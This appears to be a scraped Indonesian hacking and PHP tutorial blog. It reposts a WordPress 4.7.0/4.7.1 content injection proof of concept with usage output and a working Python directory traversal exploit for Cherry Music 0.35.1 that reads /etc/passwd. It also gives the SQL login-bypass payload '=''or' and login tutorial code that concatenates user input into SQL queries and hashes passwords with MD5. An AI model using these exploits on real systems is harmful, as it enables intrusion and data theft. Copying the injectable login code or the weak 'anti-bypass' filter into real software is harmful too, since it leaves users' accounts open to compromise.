SafeURL Open Source

SafeURL Open Source

-

-

-

Tutorial Title: SafeURL Open Source

Tutorial Author: RZLabs

Tutorial Type: Website

Tags: HTML, Info IT, PHP, Web, WebApps

The content of the article:

Final Release!
SafeURL V 2.0 Beta Done Upload on Github!
-> Link Get Source Code
This demo about my project. Some features are not yet available.
-> Advertisement panel
-> News Panel
-> Use Password and Expired when link visited!
Note : If you set use password is yes, when everyone visit you link must be insert password and if no, no password request ^_^
Note : This Project Open Source so you can modift or what you need!
But don't remove my name at my project!
If you want to help me develop this project, you can help me by donating using Bitcoin
BTC Address 1 : 1NrYcaRV5XXrmt4idvCaJQGCmUxrjffri4
BTC Address 1 : 1GDzh9SVDZuX9UybQSM6o2dsCitxivMwBR
Author : Re Zero Labs || www.rezerolabs.xyz

Link Source Code	Upload Date
Direct Download	Unknow

Donation:

: 1NrYcaRV5XXrmt4idvCaJQGCmUxrjffri4

: 1GDzh9SVDZuX9UybQSM6o2dsCitxivMwBR

WordPress 4.7.0/4.7.1 - Unauthenticated Content Injection (Python)

WordPress 4.7.0/4.7.1 - Unauthenticated Content Injection (Python)

 Yahoo kawan, kali ini saya akan berbagi sebuah exploit yang sesusai judulnya. Yap langsung ajah di simak ya ^_^

# Exploit Title: Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC

# Date: 2017-02-02

# Exploit Author: @leonjza

# Vendor Homepage: https://wordpress.org/

# Software Link: Download here

# Version: Wordpress 4.7.0/4.7.1

# Tested on: Debian Jessie

#

# PoC gist: Here

#

# 2017 - @leonjza

#

# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC

# Full bug description: Read here

 Usage example:

List available posts:

#

# $ python inject.py http://localhost:8070/

# * Discovering API Endpoint

# * API lives at: http://localhost:8070/wp-json/

# * Getting available posts

#  - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1

#

Update post with content from a file:

#

# $ cat content

# foo

#

# $ python inject.py http://localhost:8070/ 1 content

# * Discovering API Endpoint

# * API lives at: http://localhost:8070/wp-json/

# * Updating post 1

# * Post updated. Check it out at http://localhost:8070/archives/1

# * Update complete!

 Tool:

Sekian terima kasih, jika ada kesalahan kata mohon maaf ^_^. We just shared not claimer ^_^

Special Thank for : @leonjza

Source/original post: Here

Tutorial membuat Login Multi Level Dengan 2FA

Tutorial membuat Login Multi Level Dengan 2FA

Yahoo, kembali lagi sama saya admin RZlab. Malam hari ini saya akan berbagi sebuat tutorial tentang " Tutorial membuat Login Multi Level Dengan 2FA ",  2FA ini adalah code tambahan yang saya buat untuk artikel sebelumnya yaitu Tutorial Membuat Login Multi Level Dengan Mysqli

Penjelas sedikit tentang 2FA:

2FA adalah proses keamanan yang mengharuskan pengguna untuk melakukan dua cara identifikasi sebelum mengakses akun miliknya.
Dua tingkat keamanan tersebut merupakan kata sandi Anda dan kode khusus unik

Oke, langsung ajah kita ke tkp. Pertama kita buat databasenya dengan nama demo_login2fa lalu import tablenya bisa di ambil di link berikut:

Isi Data Databse

Terus Buat file index.php, check_auth.php, library_generate_2fa.php, admin_dashboard.php dan member_dashboard.php 
Selanjutnya copy code berikut, saya sertakan link codenya:
index.php

Code untuk index.php

check_auth.php

Code untuk check_auth.php

library_generate_2fa.php

Code untuk library_generate_2fa.php

admin_dashboard.php

Code untuk admin_dashboard.php

member_dashboard.php

Code untuk member_dashboard.php

Jika sudah membuat dan mengcopy codenya siilahkan kawan coba di komputer atau hosting masing - masing. Good luck kawan ^_^, sekian dan terima kasih.

Screenshoot:

NB: Jika ada error silahkan email saya di Anwaru Yandex atau PM saya via Facebook

Tutorial Membuat Login Multi Level Dengan Mysqli

Tutorial Membuat Login Multi Level Dengan Mysqli

Yahoo, selamat sore kawan RZlab. Sore ini saya akan berbagi sebuah tutorial " Tutorial Membuat Login Multi Level Dengan Mysqli " bagai caranya yuk mari kita simak saja.

Download Login Multi Level

Pertama kita buat databasenya dengan nama demo_login lalu buat table dengan nama tbl_login dengan colums 4, perhatikan screenshot berikut ini:

 Jika sudah insert data ke dalam tbl_login:

Username: vip
Password: vip
Level: vip

Username: trial
Password: trial
Level: trial

Note: Password harus menggunakan hash MD5.

Jika sudah memasukan data ke dalam tbl_login selanjutnya buat file login.php dan copy code berikut ini:

<?php
session_start();
/**
 @Filename: login.php
 @Version: 0.1
 @Author: Aihara Anwaru
 @Blog: http://rezerolab.blogspot.com 
 @E-mail: anwaru@yandex.com
 
 @deskripsi: baca di google ajah gan
**/
 //@check sudah login atau belum
 if(@$_SESSION['level'] == "vip"){
 echo "<script>window.location='./vip.php'</script>";
 }elseif(@$_SESSION['level'] == "trial"){
 echo "<script>window.location='./trial.php'</script>";  
 }
 //@setting connection ke databse
$con = new mysqli('localhost', 'root', '', 'demo_login');
if($con->connect_errno > 0) {
	die('Could not connect: ' . connect_error());
}
?>
<html>
<head>
<title>Login Multi Level</title>
<link href='view-source:http://d2f0ora2gkri0g.cloudfront.net/bkasia47535_favicon.ico?v=1474960911' rel='icon' type='image/x-icon'/>
<link href='https://plus.google.com/110358378598572679031/posts' rel='publisher'/>
<link href='https://plus.google.com/110358378598572679031/about' rel='author'/>
<link href='https://plus.google.com/110358378598572679031' rel='me'/>
<meta content='LlbnsWclpd4kvm3UoaTcB1Wi033-vYqxDRylELAz4HQ' name='google-site-verification'/>
<meta content='9B7052F906A8B4A4D601D2C9EB2813C4' name='msvalidate.01'/>
<meta content='xxxxx' name='alexaVerifyID'/>
<meta content='Indonesia' name='geo.placename'/>
<meta content='Aihara Anwaru' name='Author'/>
<meta content='general' name='rating'/>
<meta content='id' name='geo.country'/>
<meta content='https://www.facebook.com/tinkere21' property='article:author'/>
<meta content='https://www.facebook.com/rezerolab' property='article:publisher'/>
<meta content='xxxxx' property='fb:app_id'/>
<meta content='xxxxx' property='fb:admins'/>
<meta content='en_US' property='og:locale'/>
<meta content='en_GB' property='og:locale:alternate'/>
<meta content='id_ID' property='og:locale:alternate'/>
<meta content='summary' name='twitter:card'/>
<meta expr:content='data:blog.pageTitle' name='twitter:title'/>
<meta content='xxxxx' name='twitter:site'/>
<meta content='xxxxx' name='twitter:creator'/>
<style type="text/css">
body{
  background:#000;
  color:#00ff00;
  border-style: dashed;
}
h1{
	text-align: center;
}
#login-form{
  text-align: center;
}
input{
	border: 1;
	border-color: #df0000;
	background: #000;
	color: #00ff00; 
  border-style: dashed;
}
#footer{
  text-align: center;
  color:#666699;
  text-transform: none;
  text-decoration: none;
}
a{
  color:#df0000;
  text-transform: none;
  text-decoration: none;
}
a:hover{
  color:#00ff00;
  text-transform: none;
  text-decoration: none;
}
#alert{
  text-align: center;
  color:#df0000;
}
#success{
  text-align: center;
  color:#00ff00;
}
#flag{
  text-align: center;
  color:#00f
}
</style>
</head>
<body>
<h1><a href="http://rezerolab.blogspot.com">Re Zero Labs</a> Login Multi Level</h1>
<div id="alert">
<?php
if(@$_GET['st'] == "info"){
 echo "<p>Your Username/Password Is Empty</p>";
}elseif(@$_GET['st'] == "warning"){
  echo "<p>Username/Password Not Macth! Try Again!</p>";
}
?>
</div>
<form id="login-form" action="?do=login&act=login&st=true" method="POST" /> 
<input type="text" name="user" /> : <input type="password" name="pass" /> = <input type="submit" name="go" value="Login" />
</form>
<div id="footer">
<p>Copyright &copy; 2016 <a href="http://rezerolab.blogspot.com">Re Zero Labs</a></p>
</div>
<?php
$do = @$_REQUEST['do'] == "login";
$gate =@$_REQUEST['act'] == "login";
$status =@$_REQUEST['st'] == "true";
$user = @$_POST['user'];
$pass = @$_POST['pass'];
if($do){
  if($user == '' || $pass == ''){
    echo "<script>window.location='?act=info'</script>";
  }else{
  $sqli_query = $con->query("SELECT * FROM tbl_login WHERE username='$user' and password=md5('$pass')");
  $sqli_row=$sqli_query->fetch_array();
  $sqli_count = $sqli_query->num_rows;
  if($sqli_count == "0"){
    echo "<script>window.location='?st=warning'</script>";
  }elseif($sqli_count == "1"){
    if($sqli_row['level'] == "vip"){
      @$_SESSION['rzlab_level'] = $sqli_row['level'];
      @$_SESSION['rzlab_id'] = $sqli_row['id'];
      @$_SESSION['rzlab_uname'] = $sqli_row['username'];
      echo "<script>window.location='./vip.php?st=sukses'</script>"; 
    }elseif($sqli_row['level'] == "trial"){
      @$_SESSION['rzlab_level'] = $sqli_row['level'];
      @$_SESSION['rzlab_id'] = $sqli_row['id'];
      @$_SESSION['rzlab_uname'] = $sqli_row['username'];
      echo "<script>window.location='./trial.php?st=sukses'</script>";
    }
  }
  }
}
?>
</body>
</html>

Langkah selanjutnya membuat file vip.php dan trial.php. Copy code berikut ini:

vip.php

<?php
session_start();
/**
 @Filename: vip.php
 @Version: 0.1
 @Author: Aihara Anwaru
 @Blog: http://rezerolab.blogspot.com 
 @E-mail: anwaru@yandex.com
**/
 //@check sudah login atau belum dan check level
 if(@$_SESSION['rzlab_level'] == "trial"){
 die("You not allowed to access this page!");
 }
 if(empty(@$_SESSION['rzlab_level'])){
 echo "<script>window.location='./login.php'</script>";
 }
 //@setting connection ke databse
$con = new mysqli('localhost', 'root', '', 'demo_login');
if($con->connect_errno > 0) {
	die('Could not connect: ' . connect_error());
}
?>
<html>
<head>
<title>Login Multi Level</title>
<link href='view-source:http://d2f0ora2gkri0g.cloudfront.net/bkasia47535_favicon.ico?v=1474960911' rel='icon' type='image/x-icon'/>
<link href='https://plus.google.com/110358378598572679031/posts' rel='publisher'/>
<link href='https://plus.google.com/110358378598572679031/about' rel='author'/>
<link href='https://plus.google.com/110358378598572679031' rel='me'/>
<meta content='LlbnsWclpd4kvm3UoaTcB1Wi033-vYqxDRylELAz4HQ' name='google-site-verification'/>
<meta content='9B7052F906A8B4A4D601D2C9EB2813C4' name='msvalidate.01'/>
<meta content='xxxxx' name='alexaVerifyID'/>
<meta content='Indonesia' name='geo.placename'/>
<meta content='Aihara Anwaru' name='Author'/>
<meta content='general' name='rating'/>
<meta content='id' name='geo.country'/>
<meta content='https://www.facebook.com/tinkere21' property='article:author'/>
<meta content='https://www.facebook.com/rezerolab' property='article:publisher'/>
<meta content='xxxxx' property='fb:app_id'/>
<meta content='xxxxx' property='fb:admins'/>
<meta content='en_US' property='og:locale'/>
<meta content='en_GB' property='og:locale:alternate'/>
<meta content='id_ID' property='og:locale:alternate'/>
<meta content='summary' name='twitter:card'/>
<meta expr:content='data:blog.pageTitle' name='twitter:title'/>
<meta content='xxxxx' name='twitter:site'/>
<meta content='xxxxx' name='twitter:creator'/>
<style type="text/css">
body{
  background:#000;
  color:#00ff00;
  border-style: dashed;
}
h1{
	text-align: center;
}
#login-form{
  text-align: center;
}
input{
	border: 1;
	border-color: #df0000;
	background: #000;
	color: #00ff00; 
  border-style: dashed;
}
#footer{
  text-align: center;
  color:#666699;
  text-transform: none;
  text-decoration: none;
}
a{
  color:#df0000;
  text-transform: none;
  text-decoration: none;
}
a:hover{
  color:#00ff00;
  text-transform: none;
  text-decoration: none;
}
#alert{
  text-align: center;
  color:#df0000;
}
#success{
  text-align: center;
  color:#00ff00;
}
#flag{
  text-align: center;
  color:#00f
}
</style>
</head>
<body>
<h1><a href="http://rezerolab.blogspot.com">Re Zero Labs</a> Halaman VIP</h1>
<div id="success">
<?php
if(@$_GET['st'] == "sukses"){
 echo "<p>Anda Berhasil Login Sebagai VIP Dengan User ".@$_SESSION['rzlab_uname']."</p>";
}
?>
</div>
<center><p>Selamat datang, <?php echo @$_SESSION['rzlab_uname']; ?> || <a href="?do=logout">Logout</a></p></center>
<div id="footer">
<p>Copyright &copy; 2016 <a href="http://rezerolab.blogspot.com">Re Zero Labs</a></p>
</div>
<?php
$logout = @$_REQUEST['do'] == "logout";
if($logout){
     session_destroy();
     unset($_SESSION['rzlab_level']);
     unset($_SESSION['rzlab_id']);
     unset($_SESSION['rzlab_uname']);
     echo "<script>window.location='./login.php'</script>"; 
}
?>
</body>
</html>

trial.php

<?php
session_start();
/**
 @Filename: trial.php
 @Version: 0.1
 @Author: Aihara Anwaru
 @Blog: http://rezerolab.blogspot.com 
 @E-mail: anwaru@yandex.com
**/
 //@check sudah login atau belum
 if(empty(@$_SESSION['rzlab_level'])){
 echo "<script>window.location='./login.php'</script>";
 }
 //@setting connection ke databse
$con = new mysqli('localhost', 'root', '', 'demo_login');
if($con->connect_errno > 0) {
	die('Could not connect: ' . connect_error());
}
?>
<html>
<head>
<title>Login Multi Level</title>
<link href='view-source:http://d2f0ora2gkri0g.cloudfront.net/bkasia47535_favicon.ico?v=1474960911' rel='icon' type='image/x-icon'/>
<link href='https://plus.google.com/110358378598572679031/posts' rel='publisher'/>
<link href='https://plus.google.com/110358378598572679031/about' rel='author'/>
<link href='https://plus.google.com/110358378598572679031' rel='me'/>
<meta content='LlbnsWclpd4kvm3UoaTcB1Wi033-vYqxDRylELAz4HQ' name='google-site-verification'/>
<meta content='9B7052F906A8B4A4D601D2C9EB2813C4' name='msvalidate.01'/>
<meta content='xxxxx' name='alexaVerifyID'/>
<meta content='Indonesia' name='geo.placename'/>
<meta content='Aihara Anwaru' name='Author'/>
<meta content='general' name='rating'/>
<meta content='id' name='geo.country'/>
<meta content='https://www.facebook.com/tinkere21' property='article:author'/>
<meta content='https://www.facebook.com/rezerolab' property='article:publisher'/>
<meta content='xxxxx' property='fb:app_id'/>
<meta content='xxxxx' property='fb:admins'/>
<meta content='en_US' property='og:locale'/>
<meta content='en_GB' property='og:locale:alternate'/>
<meta content='id_ID' property='og:locale:alternate'/>
<meta content='summary' name='twitter:card'/>
<meta expr:content='data:blog.pageTitle' name='twitter:title'/>
<meta content='xxxxx' name='twitter:site'/>
<meta content='xxxxx' name='twitter:creator'/>
<style type="text/css">
body{
  background:#000;
  color:#00ff00;
  border-style: dashed;
}
h1{
	text-align: center;
}
#login-form{
  text-align: center;
}
input{
	border: 1;
	border-color: #df0000;
	background: #000;
	color: #00ff00; 
  border-style: dashed;
}
#footer{
  text-align: center;
  color:#666699;
  text-transform: none;
  text-decoration: none;
}
a{
  color:#df0000;
  text-transform: none;
  text-decoration: none;
}
a:hover{
  color:#00ff00;
  text-transform: none;
  text-decoration: none;
}
#alert{
  text-align: center;
  color:#df0000;
}
#success{
  text-align: center;
  color:#00ff00;
}
#flag{
  text-align: center;
  color:#00f
}
</style>
</head>
<body>
<h1><a href="http://rezerolab.blogspot.com">Re Zero Labs</a> Halaman Trial</h1>
<div id="success">
<?php
if(@$_GET['st'] == "sukses"){
 echo "<p>Anda Berhasil Login Sebagai Trial Dengan User ".@$_SESSION['rzlab_uname']."</p>";
}
?>
</div>
<center><p>Selamat datang, <?php echo @$_SESSION['rzlab_uname']; ?> || <a href="?do=logout">Logout</a></p></center>

<div id="footer">
<p>Copyright &copy; 2016 <a href="http://rezerolab.blogspot.com">Re Zero Labs</a></p>
</div>
<?php
$logout = @$_REQUEST['do'] == "logout";
if($logout){
     session_destroy();
     unset($_SESSION['rzlab_level']);
     unset($_SESSION['rzlab_id']);
     unset($_SESSION['rzlab_uname']);
     echo "<script>window.location='./login.php'</script>"; 
}
?>
</body>
</html>

Jika sudah semuanya coba kawan jalankan! Semoga berhasil dan mohon maaf jika ada banyak kesalah ya kawan! Sekian saya ucapkan terima kasih. Salam Coder ^_^

Note: Jika terdapat error atau pertanyaan silahkan comment dibawa atau bisa email saya ke anwaru@yandex.com terima kasih

Cara Fix Login Yang Bisa Di Bypass

Cara Fix Login Yang Bisa Di Bypass

  

Selamat malam kawan RZLab, pada malam hari ini saya mau berbagi tutorial " Cara Fix Login Yang Bisa Di Bypass "!

  Method yang di gunakan cukup sederhana, pada form login user biasa atau admin cukup   masukan code berikut:

 user : '=''or'
 pass : '=''or'

Dan coba login maka otomatis anda akan teralihkan ke halaman dashboard atau panel, tetapi tidak sebagian web yang bisa di bypass form loginnya alangkah baiknya jika anda seorang pemilik web perlu untuk meningkatkan keamanan web yang anda miliki.

Bagaimana caranya? yuk baca di bawah ini.

Pertama kawan membuat sebuah file baru dengan nama " function_antibypass.php ", jika sudah copy code berikut

<?php
function anti_bypass($data){
$filter=mysql_real_escape_string(stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES))));
return $filter;
}
?>

Penjelasan fungsi diatas:

mysql_real_escape_string =  fungsi mysql_real_escape_string yang digunakan untuk memberi backslash di beberapa kode untuk ditampilkan pada halaman, namun saat menyimpan menuju sql, kode akan tetap normal tanpa ada backslash

stripslashes =  fungsi string sltripslashes berfungsi sebagai menghilangkan backslashes (\) pada setiaap quote dalam string

strip_tags =  fungsi yang digunakan untuk menghilangkan tag-tag HTML, XML atau tag-tag PHP yang terdapat pada sebuah string.

htmlspecialchars = fungsi yang digunakan untuk meng-enkripsi tag-tag html pada suatu string. Htmlspecialchars tidak akan mengenkripsi semua string seperti Fungsi pengekripsian yang lain, melainkan hanya akan mengenkripsi karakter-karakter tertentu saja. Seperti (<, >, ", dan sebagainya).

Langkah selanjutnya memanggil fungsi yang sudah kita buat tadi, misalhnya kita taruh di login.php atau cek_login.php itu tergantung pemakaian kawan ajah.

Code:

<?php
include "[PATH]/function_antibypass.php"; // function yang kita buat tadi
include "[PATH]/config.php"; // untuk koneksi ke database

$username = anti_bypass($_POST['user']);
$password = anti_bypass(md5($_POST['pass']));

// sisanya soba bisa lanjutkan

?>

Jika sudah, kawan bisa menguji coba function diatas, semoga berhasil. Mohon maaf jika ada kesalahan kata ya kawa ^_^. Jangan lupa like Page kami di Re Zero Labs dan Bookmark Blog in ^_^.

Cherry Music 0.35.1 - Arbitrary File Disclosure - Exploit

Cherry Music v0.35.1 directory traversal vulnerability allows authenticated users to download arbitrary files

Selamat sore kawan! kali ini admin akan berbagi sebuah artikel tentang exploit. Silahkan di simak ya.

Deskripsi author exploit:

# Date: 11-09-2016

# Exploit Author: feedersec

# Contact: feedersec@gmail.com

# Vendor Homepage: http://www.fomori.org/cherrymusic/index.html

# Version: 0.35.1

# Tested on: ubuntu 14.04 LTS

# CVE : CVE-2015-8309

Exploit yang digunakan yaitu Python

Proof of Concept:

import urllib2, cookielib, urllib

#set parameters here
username = 'admin'
password = 'Password01'
baseUrl = 'http://localhost:8080/'
targetFile = '/etc/passwd'
downloadFileName = 'result.zip'
####

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
params = urllib.urlencode({'username': username, 'password': password, 'login': 'login'})
req = urllib2.Request(baseUrl, params)
response = opener.open(req)
for c in cj:
  if c.name == "session_id":
    session_id = c.value

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders.append(('Cookie', 'session_id=' + session_id))
params = urllib.urlencode({'value': '["' + targetFile + '"]'})
request = urllib2.Request(baseUrl + "download", params)
response = opener.open(request).read()
with open(downloadFileName, 'wb') as zipFile:
    zipFile.write(response);

Sekian tutorial yang bisa saya bagikan. Mohon maaf jika ada kesalahan kata ^_^

Source: Exploit DB - Cherry Music 0.35.1 - LFD Exploit

Vulnerable App: Cherry Music 0.35.1